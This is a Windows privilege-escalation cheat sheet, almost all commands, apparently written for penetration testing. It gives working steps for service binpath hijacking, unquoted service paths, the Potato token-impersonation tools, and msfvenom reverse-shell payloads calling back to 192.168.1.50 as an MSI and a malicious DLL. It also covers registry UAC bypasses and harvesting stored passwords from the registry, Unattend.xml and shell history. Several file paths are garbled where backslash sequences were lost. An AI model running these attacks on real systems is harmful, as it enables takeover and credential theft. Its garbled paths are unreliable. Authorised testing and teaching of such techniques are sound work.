Windows Privilege Escalation

:: Basic system info
whoami
whoami /priv          -- check token privileges
whoami /groups        -- group memberships
hostname
systeminfo            -- OS version, patches, hotfixes
net user              -- local users
net localgroup administrators  -- who is admin?
net share             -- shared folders
ipconfig /all         -- network config

:: PowerShell equivalents
Get-LocalUser
Get-LocalGroupMember Administrators
Get-HotFix | Sort-Object -Descending InstalledOn | Select -First 10

# Download WinPEAS:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe
# Or via Meterpreter:
upload winPEASx64.exe C:/Windows/Temp/
shell
C:/Windows/Temp/winPEASx64.exe

# Output: RED = critical, CYAN = interesting
# Look for: service misconfigs, registry keys, credentials

# PowerUp (PowerShell privesc checks):
Import-Module .\PowerUp.ps1
Invoke-AllChecks

:: List services
sc query state=all
sc qc ServiceName      -- query service config

:: Check service permissions (who can modify it?)
accesschk.exe -uwcqv "Authenticated Users" * 2>nul
accesschk.exe -uwcqv Everyone * 2>nul

:: If service is modifiable by current user:
sc config VulnService binpath= "C:\Windows\Temp
everse_shell.exe"
sc start VulnService
:: → shell.exe runs as SYSTEM

:: Or restart service to trigger:
net stop VulnService && net start VulnService

:: Find unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

:: Example vulnerable service path:
:: C:\Program Files\Vulnerable Servicepp.exe
:: Windows searches:
::   C:\Program.exe           (checks this first!)
::   C:\Program Files\Vulnerable.exe
::   C:\Program Files\Vulnerable Servicepp.exe

:: Exploit: place C:\Program.exe (our payload)
:: If we can write to C:\ (less likely) or subpaths

:: More common: C:\Program Files\Vulnerable.exe
copy C:\Windows\Temp\shell.exe "C:\Program Files\Vulnerable.exe"
net stop VulnSvc && net start VulnSvc
:: → shell.exe runs as SYSTEM

# Check for SeImpersonatePrivilege:
whoami /priv
# SeImpersonatePrivilege Enabled  ← exploitable!

# Common in: IIS service accounts, SQL Server, web shells

# Juicy Potato (Windows 10 before 1809, Server 2016):
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\output.txt" -t *
# -t * — try all token types

# PrintSpoofer (Windows 10 1809+, Server 2019):
.\PrintSpoofer.exe -i -c cmd
# Gets SYSTEM shell via Print Spooler service

# Rogue Potato (works on newer Windows):
.\RoguePotato.exe -r YOUR_IP -l 1337 -e "C:\Windows\Temp\shell.exe"

:: Check registry:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Both must be 0x1 for this to work

:: Exploit: create MSI that runs as SYSTEM
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f msi -o shell.msi

:: Execute:
msiexec /quiet /qn /i C:\Temp\shell.msi
:: → MSI installs as SYSTEM, runs our payload

:: Windows searches for DLLs in this order (safe DLL search mode off):
:: 1. Directory of the executable
:: 2. C:\Windows\System32
:: 3. C:\Windows\System
:: 4. C:\Windows
:: 5. Current directory
:: 6. PATH directories

:: Find services loading DLLs from writable paths:
:: Use Process Monitor (ProcMon) with filters:
:: - Result = NAME NOT FOUND
:: - Path ends with .dll
:: Look for DLL not found in writable location

:: Create malicious DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o evil.dll
:: Place in the directory searched before System32

:: DLL template (compile with mingw):
// evil.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c whoami > C:\output.txt");
    }
    return TRUE;
}

# UAC (User Account Control) — prompts for consent on elevated actions
# Bypass: auto-elevate applications can be abused

# Method 1: fodhelper.exe (Windows 10)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -Force
Start-Process "C:\Windows\System32odhelper.exe"

# Method 2: eventvwr.exe
Set-ItemProperty "HKCU:\Software\Classes\mscfile\Shell\Open\command" "(Default)" "cmd.exe /c start cmd.exe"
Start-Process eventvwr.exe

# Method 3: Metasploit UAC bypass
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
run

# Note: UAC bypass requires medium-integrity user (not just any user)

# Search for passwords in common locations:
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config | Select-String -Pattern "password" -CaseSensitive:$false

# Registry (Autologon):
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# DefaultUserName, DefaultPassword in clear text!

# Unattend.xml (Windows install files):
Get-Content C:\Windows\Panther\Unattend.xml
Get-Content C:\Windows\System32\sysprep\Unattend.xml

# Saved credentials:
cmdkey /list          -- stored credentials
runas /savecred /user:admin cmd.exe  -- use saved creds

# DPAPI saved browser passwords:
# Decrypt with Mimikatz or SharpDPAPI

# PowerShell history:
Get-Content C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt